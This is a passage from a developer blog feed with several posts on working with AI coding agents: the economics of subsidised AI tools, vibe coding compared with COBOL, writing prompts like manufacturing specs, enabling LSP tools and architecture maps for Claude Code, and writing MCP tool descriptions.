MVP that would have taken three months solo two years ago takes a weekend now. These economics are extraordinary and they will not last forever. The price of &#8220;wait until it&#8217;s ready&#8221; is time you don&#8217;t have.</p><p><strong>Build the content moat before everyone else does.</strong> Technical guides, deep-dives, tutorials on topics you actually know. This content ranks before your competitors get around to writing theirs. The window for content arbitrage &#8212; where AI-assisted quality beats raw human output at volume &#8212; is also temporary. The ones who started in 2025-2026 will own the long-tail traffic. The rest will write for audiences that already exist.</p><p><strong>Develop taste.</strong> This is the skill that survives every model improvement and every price normalization. Knowing whether AI output is actually good &#8212; whether the code is maintainable, whether the architecture makes sense, whether the essay says something real &#8212; is something that cannot be automated. It gets more valuable as AI gets cheaper. Invest in it.</p><p><strong>Build the audience.</strong> Newsletter subscribers, people who trust your recommendations, readers who show up when you publish. This is the asset that persists regardless of what happens to model pricing. You&#8217;re not renting audience from Anthropic. You own it.</p><p>The math I keep returning to: 18 months of focused effort with subsidized AI tools could produce 3-5 years of normal-pace output. The SaaS you&#8217;ve been procrastinating? You could ship three of them. The content backlog? Gone. The technical course based on your experience? Done.</p><p>That compounds. The skills sharpen. The audience grows. By the time pricing normalizes, you&#8217;ve already built the moat.</p><h2><strong>The Only Question That Matters</strong></h2><p>You pay 200/month.You&#8242;regetting200/<em>month</em>.<em>You</em>&#8242;<em>regetting</em>600-900/month in value. That arbitrage exists right now, today.</p><p>But the real arbitrage isn&#8217;t the monthly spread. It&#8217;s what you build during the window.</p><p>The people who win this period aren&#8217;t the ones who used Claude for the most impressive demo or the most clever prompt chain. They&#8217;re the ones who used cheap frontier AI access to build products, audiences, and content that persist after the subsidies end.</p><p>So: what are you shipping?</p><p>The clock&#8217;s running.</p><div><hr></div><div><hr></div><p><em>This post started as a rabbit hole triggered by a paragraph in Sebastian Raschka&#8217;s <a href="https://www.manning.com/books/build-a-large-language-model-from-scratch">Build a Large Language Model from Scratch</a> (Manning). His Substack is obviously worth following: <a href="https://substack.com/@rasbt">@rasbt</a>.</em></p>]]></content:encoded></item><item><title><![CDATA[Will Vibe Coding Replace Developers? COBOL Already Tried.]]></title><description><![CDATA[Last month I spent about forty minutes arguing with Claude Code about a rate limiter.]]></description><link>https://blog.lakshminp.com/p/will-vibe-coding-replace-developers</link><guid isPermaLink="false">https://blog.lakshminp.com/p/will-vibe-coding-replace-developers</guid><dc:creator><![CDATA[Lakshmi Narasimhan]]></dc:creator><pubDate>Sun, 08 Mar 2026 04:01:14 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!KmLm!,w_256,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3bfe1f8a-a8f2-4bc3-a2fe-660fc03ea202_1024x1024.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Last month I spent about forty minutes arguing with Claude Code about a rate limiter.</p><p>Not debugging a rate limiter. Not implementing one. <em>Arguing.</em> I had typed &#8220;add a usage limit to the free tier&#8221; and gotten back something that technically worked &#8212; it counted things and stopped you when you hit the limit &#8212; but was also completely wrong in about six different ways that I hadn&#8217;t specified because I hadn&#8217;t thought to specify them.</p><p>When does the counter reset? Daily? Monthly? On the billing cycle? What counts as a usage event &#8212; an API call, a feature access, a row stored? What happens at exactly 100%: hard block, soft warning, grace period where we beg you to upgrade? Do existing free users get grandfathered, or do they wake up tomorrow blocked from the thing they&#8217;ve been using for three months? What if someone hits the limit mid-checkout?</p><p>I hadn&#8217;t answered any of those questions. I had typed eight words and expected a computer to answer them for me. And the computer, being a computer (a very impressive one, but still a computer), had silently picked answers that seemed reasonable. UTC midnight resets. Hard blocks. No grandfathering.</p><p>Nobody wants UTC midnight resets. Nobody wants a hard block in the middle of checkout. And nobody, including me, had thought to say so.</p><p>That forty-minute argument was, in the precise technical sense, programming. Not in the syntax sense. In the real sense: figuring out exactly what I wanted the computer to do, in enough detail that it could actually do it.</p><p>Which brings me to Grace Hopper, and why the current panic about AI replacing developers is about sixty-five years old.</p><p>In 1959, Grace Hopper helped create a programming language called COBOL.</p><p>Common Business-Oriented Language. The name is the pitch. This isn&#8217;t for programmers &#8212; it&#8217;s for <em>business people</em>. The syntax looked like a business memo. You wrote <code>ADD SALESTAX TO TOTALPRICE GIVING INVOICE-TOTAL</code>. Sentences. Paragraphs. English words that a manager could theoretically read and understand and maybe, just maybe, write.</p><p>The promise was explicit: if the language is human enough, we won&#8217;t need programmers as intermediaries. Business users could specify their own software. The bottleneck &#8212; translating business requirements into code &#8212; would evaporate.</p><p>You know how this ends. COBOL created more programmer jobs than almost any technology before or since. Banks ran it for sixty years. Governments still run it. The programmer shortage it was supposed to prevent became one of the most persistent gaps in technology. The job postings for COBOL developers today &#8212; <em>today</em>, in 2026 &#8212; pay embarrassingly well because the people who understand those systems are retiring and there aren&#8217;t enough people to replace them.</p><p>The promise evaporated. The programmers did not.</p><p>Now, the obvious response here is: that was 1959. We were trying to replace programmers with <em>verbose English-looking syntax</em>. That&#8217;s completely different from vibe coding, which uses <em>actual English</em>, processed by a large language model that has ingested most of human knowledge. The comparison is unfair.</p><p>Fair enough. Let me make it fair.</p><p>After COBOL came 4th generation languages &#8212; the 70s and 80s promised that business users could generate reports and query databases without programmers. And they could! Until anything got complex, at which point someone had to specify what &#8220;complex&#8221; meant. That someone was, increasingly, a programmer with a different job title.</p><p>Then HyperCard in 1987. Anyone could build interactive applications &#8212; stacks, cards, buttons, scripts. And many people did! Wonderful things. And then the moment you wanted it to do something non-trivial, you needed to understand enough about conditional logic and data structures that you were, functionally, programming. The interface was friendlier. The underlying activity was identical.</p><p>Then no-code in the 2010s. Citizen developers. Visual workflows. Drag-and-drop databases. I watched three different companies I worked at try to use no-code platforms to &#8220;reduce dependency on engineering.&#8221; It reduced dependency on engineering the same way COBOL did: by creating a new class of technical specialists (now called &#8220;no-code developers&#8221; or &#8220;operations engineers&#8221;) who spent their days fighting with visual tools that couldn&#8217;t quite express what they needed to express.</p><p>Same experiment, sixty-five years, same result. Better interface, same bottleneck.</p><p>Here&#8217;s what I think is actually happening, and a comment on a Hacker News thread about agentic engineering said it more precisely than I can:</p><div class="pullquote"><p><em>&#8220;When you get down to breaking down that problem... you become a programmer.&#8221;</em></p></div><p>The average person doesn&#8217;t know what their actual problems are in sufficient detail to get a working solution. Not because they&#8217;re not smart. Because <em>the act of breaking a problem down into precisely specified steps that a computer can execute without ambiguity is programming</em> &#8212; regardless of whether the syntax is <code>COMPUTE TAX = PRICE * RATE</code> or <code>def calculate_tax(price, rate): return price * tax</code> or &#8220;hey, write me something that calculates tax.&#8221;</p><p>The specification is the programming. The syntax is just notation.</p><p>Vibe coding is genuinely different from COBOL in one important sense: the interface change is more dramatic. Natural language processed by a model that can write working TypeScript from a vague description is qualitatively new. The gap between &#8220;what you type&#8221; and &#8220;what runs&#8221; has never been smaller.</p><p>But the gap between &#8220;what you type&#8221; and &#8220;what you actually wanted&#8221; is exactly as large as it&#8217;s always been. Possibly larger, because the tool is so capable that it confidently fills in every unspecified detail, silently, in ways that seem reasonable until they&#8217;re not.</p><p>My rate limiter reset at UTC midnight because I didn&#8217;t say it shouldn&#8217;t. The agent wasn&#8217;t wrong. I was underspecified.</p><p>What vibe coding has genuinely changed: the syntax, the boilerplate, the standard implementations of standard patterns are now basically free. A solo developer with Claude Code can ship in a week what used to take a team a month. That&#8217;s real leverage and I use it every day.</p><p>What hasn&#8217;t changed: the irreducible core of the job &#8212; figuring out with enough precision what you want the computer to do &#8212; is still entirely human work. And based on sixty-five years of running this experiment, there&#8217;s a reasonable argument that it&#8217;s <em>definitionally</em> human work. When you get specific enough about a problem to get a working solution, you&#8217;ve already done the programmer&#8217;s job. You might be doing it in plain English now instead of Python. You&#8217;re still doing it.</p><p>The developer job is changing. Less time on syntax, more time on the thinking that was always the hard part. More time arguing with your tools about exactly what you meant. More time specifying the edge cases before the tool invents its own.</p><p>If you&#8217;ve ever wanted to spend less time fighting TypeScript compiler errors and more time actually thinking about what you&#8217;re building &#8212; genuinely, that part is better now.</p><p>But the thinking is still yours.</p><p>The programmers are still here. They&#8217;ve been here since 1959. They&#8217;ll be here after vibe coding. They just keep getting better tools.</p><p>Learn from the evidence. It&#8217;s sixty-five years old and it&#8217;s not subtle.</p>]]></content:encoded></item><item><title><![CDATA[What Chinese Factories Taught Me About Prompting Claude Code]]></title><description><![CDATA[Anything you don't specify will be done at minimum cost]]></description><link>https://blog.lakshminp.com/p/claude-code-prompt-engineering</link><guid isPermaLink="false">https://blog.lakshminp.com/p/claude-code-prompt-engineering</guid><dc:creator><![CDATA[Lakshmi Narasimhan]]></dc:creator><pubDate>Tue, 03 Mar 2026 15:32:21 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!KmLm!,w_256,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3bfe1f8a-a8f2-4bc3-a2fe-660fc03ea202_1024x1024.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>A few weeks ago, I fell down a Hacker News rabbit hole at 11pm. Someone had posted a manufacturing post-mortem &#8212; one of those beautiful, painful essays where a hardware founder documents exactly how badly they got burned.</p><p>This founder had designed a custom lamp. Spent months prototyping. Found a factory in Shenzhen. Shipped 500 units.</p><p>When the boxes arrived, the light-entry holes had been used as casting pour-points &#8212; the factory needed somewhere to pour the material, saw the holes, and went with it. The cable tails were two centimeters instead of ten. The knobs didn&#8217;t fit because the powder coating added thickness that nobody put in the spec. Everything technically matched the purchase order. Nothing actually worked.</p><p>I read that post-mortem three times. Then I read the top comment, which was one of those sentences that you immediately screenshot because it&#8217;s just too true:</p><p><em>&#8220;Anything you don&#8217;t specify will be done at minimum cost.&#8221;</em></p><p>I put my phone down. I looked at the ceiling. And then I thought about the email sender I&#8217;d had Claude Code generate that afternoon.</p><p>Let me tell you what I had asked for: &#8220;Send a welcome email to new users when they sign up.&#8221;</p><p>Let me tell you what I got: A function that sent emails. Technically correct. It looped over every new user and called the email API synchronously, one by one, waiting for each response before moving to the next. No rate limiting. No retry logic. No unsubscribe link &#8212; because I didn&#8217;t ask for one, and CAN-SPAM compliance wasn&#8217;t in the prompt. When I ran it against a list of 8,000 users, it fired all 8,000 requests in a tight loop, Gmail flagged the sending domain as a spam source within six hours, and my domain was blacklisted before I&#8217;d finished my coffee.</p><p>Everything sent. Nothing arrived.</p><p>I had been vibe coding with Claude Code for six months at that point, and I thought I was pretty good at it. I could get it to build things fast. I could chain prompts together. I had <a href="http://claude.md/">CLAUDE.md</a> files and hooks and all the trappings of someone who knew what they were doing.</p><p>What I didn&#8217;t understand &#8212; what the Hacker News post-mortem forced me to understand &#8212; is that I had completely misidentified what kind of relationship I was in.</p><p>I thought I was pair programming with a senior engineer.</p><p>I was issuing purchase orders to a factory.</p><p>This distinction sounds philosophical. It isn&#8217;t. It has concrete, expensive implications for every vibe coding prompt you write.</p><p>A senior engineer fills gaps with judgment. If you say &#8220;build auth,&#8221; a good senior engineer asks: what are the scale requirements? What&#8217;s the threat model? Are we storing PII? They fill the spec gaps with professional standards because they have skin in the game &#8212; it&#8217;s their name on the code, their reputation on the line, their on-call rotation if it breaks at 3am.</p><p>A factory fills gaps with cost optimization. If the spec doesn&#8217;t say &#8220;cable tails must be 10cm,&#8221; the factory cuts them at 2cm. Not because they&#8217;re malicious. Because that&#8217;s 8cm of wire per unit times 500 units and someone&#8217;s margin depends on it. They&#8217;re perfectly rational. They&#8217;re just optimizing for something that has nothing to do with whether your lamp works.</p><p>Claude optimizes for &#8220;satisfies the prompt.&#8221; That&#8217;s the whole job. Your vague prompt is its permission to take shortcuts, and it will take them &#8212; not maliciously, but with the same rational efficiency as a factory floor supervisor who notices you didn&#8217;t specify the minimum acceptable wire gauge.</p><p>Here&#8217;s the thing about the hardware community that I find both humbling and enraging: they figured this out decades ago. They built an entire profession around it. These people are called sourcing agents, and their whole job is translating &#8220;I want a nice lamp&#8221; into a 47-page document covering material density, wire gauge, coating thickness, packaging dimensions, UV stability ratings, and what happens to the tooling if the order falls below minimum quantity.</p><p>Forty-seven pages. For a lamp.</p><p>In vibe coding, the sourcing agent is you. Most developers have been accidentally promoted to this role without realizing it. They&#8217;re still acting like they&#8217;re talking to a colleague. They&#8217;re actually running a factory and they&#8217;re skipping the quality control, the detailed specs, and the first-article inspection &#8212; all the boring stuff that hardware people do automatically because they&#8217;ve shipped enough garbage to know better.</p><p>I&#8217;ve started reading Hacker News manufacturing posts specifically to steal their frameworks for this. A few things that have genuinely changed how I write prompts:</p><p><strong>Spec your constraints, not just your features.</strong> &#8220;Send welcome emails&#8221; is a feature request. &#8220;Send welcome emails via SES, rate-limited to 14 per second to stay under AWS sending limits, with exponential backoff and a max of 3 retries on failure, an unsubscribe link in the footer per CAN-SPAM, a plain-text fallback alongside the HTML version, and a hard skip for any address that has previously bounced or complained&#8221; is a spec. The difference isn&#8217;t intelligence &#8212; it&#8217;s the same way specifying wire gauge isn&#8217;t about distrusting your factory. It&#8217;s about understanding that factories don&#8217;t have opinions about wire gauge. They have margins.</p><p><strong>Inspect the first batch before commissioning the full run.</strong> Hardware founders don&#8217;t ship the first production run to customers. They order samples. They measure every dimension with calipers. The good ones fly to Shenzhen and stand on the factory floor. The developer equivalent is reading the first 200 lines of generated code before asking Claude to build the next feature on top of it. Check the database schema before building the API on top of it. Read the auth flow before adding the permissions layer. This feels slow. It is much faster than discovering that the foundation is wrong after you&#8217;ve built four floors.</p><p><strong>Specify what you don&#8217;t want.</strong> This one surprised me. Experienced sourcing agents reportedly spend half their spec document on exclusions. &#8220;No recycled plastic in structural components.&#8221; &#8220;No substituted components without written approval.&#8221; &#8220;No unlicensed firmware.&#8221; They&#8217;ve learned that a factory will always find the interpretation of the spec that costs them the least, so you have to close the doors. For prompts: &#8220;No inline styles. No TypeScript <code>any</code> types. No <code>console.log</code> for error handling. No <code>SELECT *</code> queries. No external dependencies unless they&#8217;re in the approved list.&#8221; The AI will not volunteer that it&#8217;s about to do these things. It will do them and move on.</p><p><strong>Budget time for the spec, not just the build.</strong> Hardware founders allocate somewhere between 30-40% of their project timeline to specification work. The manufacturing part &#8212; the actual production &#8212; is the smaller slice. Vibe coders typically invert this. Five percent on the prompt, ninety-five percent on generating code and then debugging the surprising things that came out of a vague prompt. The debugging is expensive. The spec is cheap.</p><p>The thing I keep coming back to is that using Chinese manufacturers is incredible leverage. You can build a physical product without owning a factory, without specialized tooling knowledge, without decades of manufacturing experience. It&#8217;s genuinely one of the great unlocks of the modern economy. And it works &#8212; when you write the spec correctly.</p><p>Using Claude to write code is the same kind of leverage. You can build things without knowing every library, without remembering every API, without holding the entire codebase in your head at once. It works. When you treat it like what it is.</p><p>Your prompt is a manufacturing spec. The code is the factory output. The factory will be rational, efficient, and completely indifferent to whether your product actually works.</p><p>Write the spec accordingly.</p><p>Or enjoy your two-centimeter cable tails.</p>]]></content:encoded></item><item><title><![CDATA[Claude Code Has Been Navigating Your Codebase Like a Tourist With No Map]]></title><description><![CDATA[Your IDE solved this in 2016. Here's how to give the same fix to your agent.]]></description><link>https://blog.lakshminp.com/p/claude-code-lsp-semantic-context-agents</link><guid isPermaLink="false">https://blog.lakshminp.com/p/claude-code-lsp-semantic-context-agents</guid><dc:creator><![CDATA[Lakshmi Narasimhan]]></dc:creator><pubDate>Mon, 02 Mar 2026 13:31:31 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!KmLm!,w_256,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3bfe1f8a-a8f2-4bc3-a2fe-660fc03ea202_1024x1024.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Here&#8217;s a thing that happened to me.</p><p>I was watching a Claude Code session &#8212; one of those where you hand the agent a task and then sit back to observe, feeling very enlightened and modern. The task was simple: find where user authentication was implemented and add a new field to the login flow.</p><p>The agent started grepping. <code>authenticate</code>. Then <code>auth</code>. Then <code>login</code>. Then <code>loginUser</code>. Then <code>handleLogin</code>. Each grep taking 3-8 seconds, scanning hundreds of files, returning walls of output full of comments, test fixtures, variable names that happened to contain the word &#8220;auth&#8221;, README lines I&#8217;d written two years ago and forgotten.</p><p>Six minutes in, the agent had read approximately 40% of my codebase and was confidently editing... a test helper that mocked authentication. Not the actual implementation. A mock. In a test file.</p><p>I watched it do this &#8212; a system with the reasoning capacity of a senior engineer, burning through context and API calls to do something that VS Code does when I hold Ctrl and click a function name. Something VS Code has done since 2016. Something that takes 50 milliseconds.</p><p>This is the state of the art in 2026. The most capable AI coding tool available, navigating your codebase the way your grandfather would navigate a foreign city: slowly, incorrectly, and with a lot of asking for directions from people who don&#8217;t know either.</p><p>There&#8217;s a fix. There are actually two fixes, and you need both. But first I want to explain why the problem is worse than it looks, because if you don&#8217;t understand the root cause, you&#8217;ll implement half of the solution and wonder why your agents still feel like babysitting.</p><p>Let me tell you about grep, and why it&#8217;s a disaster for code navigation specifically.</p><p>Grep is a text search tool. It finds patterns in text. This is genuinely useful for a lot of things. When you want to find every config file that mentions a database host, grep is perfect. When you want to find a log line, grep is perfect. When you want to navigate code semantically &#8212; find where a function is <em>defined</em>, trace what <em>calls</em> a function, understand the type hierarchy &#8212; grep is completely wrong for the job. It just happens to be the only hammer available, so everything looks like a nail.</p><p>Here&#8217;s the specific failure mode. When your agent searches for <code>authenticate</code>, it finds:</p><pre><code><code>auth.service.ts:47:  async authenticate(user: User): Promise&lt;Token&gt; {
auth.service.ts:112: // authenticate is called after 2FA verification
auth.middleware.ts:23: // Middleware that calls authenticate() before protected routes
auth.test.ts:8:   describe('authenticate', () =&gt; {
utils/mock-auth.ts:31:   authenticate: jest.fn().mockResolvedValue(mockToken),
config/dev.ts:15:   authenticateWithMock: true,
README.md:234: ## How to authenticate</code></code></pre><p>Seven results. One is the actual definition. The agent has to read all of them, reason about which one is the real thing, and then probably read the files surrounding each one to build context. Meanwhile, it&#8217;s consuming tokens, spending time, and building a picture of your codebase that&#8217;s assembled from grep outputs rather than from actual structural understanding.</p><p>The deeper problem: grep doesn&#8217;t understand the <em>difference</em> between a definition, a call site, a comment, a test mock, and a config flag. Those are fundamentally different things in the semantic structure of a codebase. A human engineer with IDE tooling can instantly distinguish them. An agent with only grep cannot &#8212; it has to infer the difference from text patterns and context, which it does imperfectly, which means it makes wrong edits, which you have to catch and correct, which is why agent sessions still require babysitting.</p><p>This is not a clever problem. We solved it for humans a long time ago.</p><p>In 2016, Microsoft did something quietly brilliant. They were building VS Code, and they had a problem: every editor had to implement language intelligence from scratch. Vim plugins, Emacs modes, IntelliJ &#8212; everyone was reimplementing the same understanding of what a TypeScript file meant, independently, badly, in incompatible ways.</p><p>Their solution was the Language Server Protocol. The idea: separate the &#8220;smarts&#8221; from the editor. Create a standard protocol where a language server &#8212; a standalone process that deeply understands a specific language &#8212; can talk to any editor that speaks the protocol. Build the language server once, correctly, and every editor gets the benefit.</p><p>A language server is not a text search tool. It parses your code into an Abstract Syntax Tree. It resolves types. It builds a symbol table &#8212; a complete map of every identifier in your codebase: what it is, where it&#8217;s defined, what it references, what references it. When VS Code shows you that <code>authenticate</code> is defined in <code>auth.service.ts</code> on line 47, it&#8217;s not searching for the string &#8220;authenticate.&#8221; It&#8217;s looking up <code>authenticate</code> in the symbol table and getting back a precise answer in under 50 milliseconds.</p><p>LSP was so obviously right that it became universal. Every serious editor implemented it. Every major language has a language server: <code>pyright</code> for Python, <code>gopls</code> for Go, <code>typescript-language-server</code> for TypeScript, <code>rust-analyzer</code> for Rust, <code>clangd</code> for C/C++. You almost certainly have at least one of these running on your machine right now.</p><p>The irony is that we gave AI agents trillion-parameter language models with remarkable reasoning capabilities, and then handed them grep for code navigation. Like building a Formula 1 car and fitting it with bicycle tires.</p><p>Claude Code can connect to these language servers. As of early 2026, this is an undocumented community workaround discovered via a GitHub issue &#8212; not an official feature. Which is funny, given how much it changes things. Enable it by adding to <code>~/.claude/settings.json</code>:</p><pre><code><code>{
  "env": {
    "ENABLE_LSP_TOOL": "1"
  }
}</code></code></pre><p>Or export it in your shell profile if you prefer:</p><pre><code><code>export ENABLE_LSP_TOOL=1
</code></code></pre><p>Then install the language server plugin for your stack. Claude Code has a plugin system for this &#8212; update the marketplace first, then install:</p><pre><code><code>claude plugin marketplace update claude-plugins-official

# TypeScript/JavaScript
claude plugin install typescript-lsp
npm install -g typescript-language-server typescript

# Python
claude plugin install pyright-lsp
npm install -g pyright

# Go
claude plugin install gopls-lsp
go install golang.org/x/tools/gopls@latest

# Rust
claude plugin install rust-analyzer-lsp
rustup component add rust-analyzer</code></code></pre><p>One gotcha that will silently waste your time: a plugin can be installed but disabled. An installed, disabled plugin does nothing &#8212; no LSP server registers at startup, no tools become available, no error. Just grep, same as before. After installing, run <code>claude plugin list</code> and confirm the status reads <code>enabled</code>. If it shows <code>disabled</code>, run <code>claude plugin enable &lt;name&gt;</code>. Check this before you spend 20 minutes wondering why nothing changed.</p><p>Once enabled, your agent gets access to tools that most people don&#8217;t know exist:</p><p><code>goToDefinition</code> &#8212; exact location of any symbol&#8217;s definition. Not &#8220;files that contain this string.&#8221; The <em>definition</em>. In ~50ms.</p><p><code>findReferences</code> &#8212; every call site in your entire codebase. Every single one, sorted, precise, with file and line number.</p><p><code>workspaceSymbols</code> &#8212; search your codebase by symbol name. Returns only actual code symbols (functions, classes, interfaces, variables) &#8212; not comments, not strings, not README lines.</p><p><code>hover</code> &#8212; full type information for any identifier. When the agent is about to call a function, it can check the exact signature first rather than guessing.</p><p><code>diagnostics</code> &#8212; real-time type errors. When the agent changes a function signature, the language server immediately reports every caller that&#8217;s now broken. In the same turn. Before the broken code ever runs.</p><p>That last one changes the loop entirely. Without LSP, the workflow is: agent makes a change &#8594; change breaks something &#8594; you run tests &#8594; tests fail &#8594; agent fixes it &#8594; might break something else &#8594; iterate. You&#8217;re discovering errors through tests, which means you&#8217;re discovering them late, which means multiple turns of cleanup for each mistake.</p><p>With LSP, the workflow is: agent makes a change &#8594; diagnostics immediately flag every type error caused by that change &#8594; agent fixes everything in the same turn. Error discovery goes from &#8220;whenever you run tests&#8221; to &#8220;immediately.&#8221; This alone is worth the two minutes it takes to set up.</p><p>Here&#8217;s the catch, and it&#8217;s not obvious until you run into it.</p><p>Even with LSP enabled and plugins installed and confirmed active, Claude still <em>prefers</em> grep. Grep is familiar, grep is in its training distribution, grep is what it reaches for first. Having the tools available doesn&#8217;t automatically mean Claude will use them.</p><p>Add this to your <code>CLAUDE.md</code>:</p><pre><code><code>## Code Navigation

Prefer LSP tools over Grep for any code navigation task:
- Use workspaceSymbol to find symbols by name
- Use goToDefinition to find where something is defined
- Use findReferences to find all call sites
- Use diagnostics after any edit to catch type errors immediately

Use Grep only for text search: log messages, comments, config values,
string literals. Never use Grep to find function definitions.</code></code></pre><p>Explicit instructions in <a href="http://claude.md/">CLAUDE.md</a> override default behavior. This is a documented pattern: the tools exist, but you have to tell the agent to use them. Think of it as configuring the agent&#8217;s preferences, not patching the agent&#8217;s capabilities.</p><p>Now here&#8217;s the part where most people stop, and where they shouldn&#8217;t.</p><p>LSP gives your agent GPS. It knows <em>how</em> to navigate. <code>findReferences</code> from anywhere in the codebase will return exact results. But GPS without a destination is just a compass. Your agent still has to figure out <em>where to go</em> before it can navigate there efficiently.</p><p>Think about how an experienced engineer ramps up on a new codebase. They don&#8217;t start by grepping for things. They start by asking questions: where does the auth layer live? What&#8217;s the database access pattern? How do the services communicate? They build a mental model first, then navigate with precision.</p><p>Your agent has no mental model of your codebase unless you give it one. Every session starts cold. It has the code itself (too much to read exhaustively) and the tools to navigate it (useful once oriented) but no map. So it wanders.</p><p>The second layer is a structured description of your codebase&#8217;s architecture. Not documentation. Not a README. A map for the agent &#8212; written in terms of what the agent needs to know to get oriented quickly:</p><pre><code><code>## Codebase Architecture

**Entry point:** src/server.ts bootstraps the app. All route registration happens here.

**Auth layer:** Everything authentication-related lives in /src/auth.
The entry point is `authenticate()` in auth.service.ts.
JWT handling is in auth.middleware.ts. Session storage is Redis via auth.session.ts.
Never bypass the middleware &#8212; it handles rate limiting and audit logging.

**Services:** Business logic in /src/services.
PaymentService, UserService, NotificationService are the big three.
Services never call each other directly &#8212; all cross-service communication
routes through the event bus in /src/events/index.ts.

**Database:** Prisma ORM. Never write raw SQL &#8212; always go through the Prisma client.
Schema lives in /prisma/schema.prisma. Run `npm run db:migrate` after schema changes.

**External integrations:** Stripe in /src/integrations/stripe,
SendGrid in /src/integrations/email. Each integration has a fake for testing.</code></code></pre><p>You put this in <a href="http://claude.md/">CLAUDE.md</a>, or in a dedicated <a href="http://architecture.md/">ARCHITECTURE.md</a> that <a href="http://claude.md/">CLAUDE.md</a> imports via <code>@ARCHITECTURE.md</code>.</p><p>What changes: your agent starts the session <em>oriented</em>. When you ask it to add a new payment method, it already knows that payment logic lives in <code>/src/services/PaymentService</code>, that external Stripe calls go through <code>/src/integrations/stripe</code>, and that services communicate through the event bus. It doesn&#8217;t need to explore your codebase to discover the architecture. It can go directly to the right place and navigate from there with LSP precision.</p><p>The GPS analogy only goes so far. A better way to think about it: LSP is your agent&#8217;s ability to look something up instantly. Semantic context is the agent knowing what to look up. Both are required. Without the map, LSP is a fast tool pointed in random directions. Without LSP, the map tells you where to go but getting there is still six minutes of grepping.</p><p>Together, your agent works the way a senior engineer works on a codebase they know well: they know the territory, they navigate precisely, and they catch their own mistakes before committing them.</p><p>The reason I keep coming back to this: the numbers suggest agents are about to do a lot more real work.</p><p>Michael Truell <a href="https://x.com/mntruell/status/2026736314272591924">announced recently</a> that Cursor now has 2x more agent users than Tab (autocomplete) users. Agent usage is up 15x in a year. More than a third of PRs merged at Cursor are created by agents running autonomously in the cloud &#8212; not a human in the loop, not autocomplete suggestions, agents doing complete pieces of work end-to-end.</p><p>If that&#8217;s the direction &#8212; and the trajectory makes it pretty clear it is &#8212; then agents navigating codebases with grep is a bottleneck at the wrong layer. You&#8217;ve solved the intelligence problem. You have an agent that can reason about complex changes across multiple files. You have not solved the navigation problem, which means the intelligence is being spent on finding things instead of changing them. It&#8217;s like hiring a brilliant architect and making them do their own filing.</p><p>LSP and semantic context are table stakes for agent-native codebases. The fact that LSP is buried in settings and semantic maps are a community pattern rather than a first-class feature is a product gap. It&#8217;ll get closed. But right now you have to close it yourself, and it takes about thirty minutes.</p><p>Set up the language server for your stack. Enable LSP in settings.json. Tell Claude to prefer it in <a href="http://claude.md/">CLAUDE.md</a>. Write an architecture section that orients the agent in the first turn. Thirty minutes of setup for sessions that actually feel autonomous.</p><p>Your future self will be insufferably smug about having done this early. That&#8217;s a reasonable outcome.</p>]]></content:encoded></item><item><title><![CDATA[Why Your MCP Server Will Die in Obscurity]]></title><description><![CDATA[The reason Claude ignores your MCP server has nothing to do with your code.]]></description><link>https://blog.lakshminp.com/p/mcp-server-tool-descriptions</link><guid isPermaLink="false">https://blog.lakshminp.com/p/mcp-server-tool-descriptions</guid><dc:creator><![CDATA[Lakshmi Narasimhan]]></dc:creator><pubDate>Thu, 26 Feb 2026 16:13:41 GMT</pubDate><enclosure url="https://substack-post-media.s3.amazonaws.com/public/images/a4b75a5a-ade9-439d-95e4-b8add1150620_1536x1024.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>You built it over a weekend. The code works. Claude can technically call your tools. You added it to the config &#8212; if you&#8217;re not sure how, <a href="https://blog.lakshminp.com/p/stop-making-claude-code-guess">Stop Making Claude Code Guess</a> covers the setup &#8212; restarted Claude Code, and &#8212; nothing. Claude doesn&#8217;t use it. Or uses it once, awkwardly, and then forgets it exists.</p><p>The problem isn&#8217;t your code. The problem is that Claude doesn&#8217;t know when to call your tools, so it doesn&#8217;t.</p><p>This is the thing nobody tells you when you&#8217;re learning MCP: the hardest part isn&#8217;t building the server. It&#8217;s making Claude reach for it.</p><h2><strong>How Claude Actually Chooses Your Tool</strong></h2><p>When you ask Claude to do something, it&#8217;s doing a matching problem. It looks at what you asked, scans the tools available to it, reads their descriptions, and decides which one &#8212; if any &#8212; fits.</p><p>That last part is the lever most developers ignore. Claude doesn&#8217;t run your code to figure out what your tool does. It reads the description you wrote and makes a judgment call. If your description is vague, generic, or poorly matched to the language your users actually use, Claude will skip your tool and try something else. Or just tell you it can&#8217;t do the thing.</p><p>Here&#8217;s a real example. Compare these two tool descriptions for the same function:</p><blockquote><p><strong>Bad</strong>: &#8220;Query the database.&#8221;</p><p><strong>Good</strong>: &#8220;Look up a customer&#8217;s order history, subscription status, and recent activity by email address or customer ID. Use this when someone asks about a specific customer&#8217;s account.&#8221;</p></blockquote><p>The first one is technically accurate. The second one is what Claude can actually match against. &#8220;What&#8217;s going on with <a href="mailto:john@example.com">john@example.com</a>&#8216;s account?&#8221; maps cleanly to the second description. It maps to nothing in the first.</p><p>Your tool description is a search index. Write it like one.</p><h2><strong>The Five Ways MCP Servers Die</strong></h2><p><strong>1. Bad descriptions.</strong> Already covered, but it bears repeating because it&#8217;s the most common failure. Every tool, resource, and prompt deserves a description that answers: when should Claude reach for this? Include the kinds of questions or requests that should trigger it. Use the words your users actually use.</p><p><strong>2. Too many tools.</strong> There&#8217;s a temptation to expose everything. Every database table. Every API endpoint. Every configuration option. Resist it. A server with 30 tools is a server Claude gets confused by &#8212; and it&#8217;s also a server that quietly eats your context window before you&#8217;ve typed a word (<a href="https://blog.lakshminp.com/p/mcp-server-context-bloat">more on that problem here</a>). It can&#8217;t reliably choose the right tool when there are 30 candidates with overlapping descriptions. The best MCP servers do one thing, maybe two, exceptionally well. If you find yourself adding a tenth tool, ask whether you&#8217;re building a server or a dumping ground.</p><p><strong>3. Output Claude 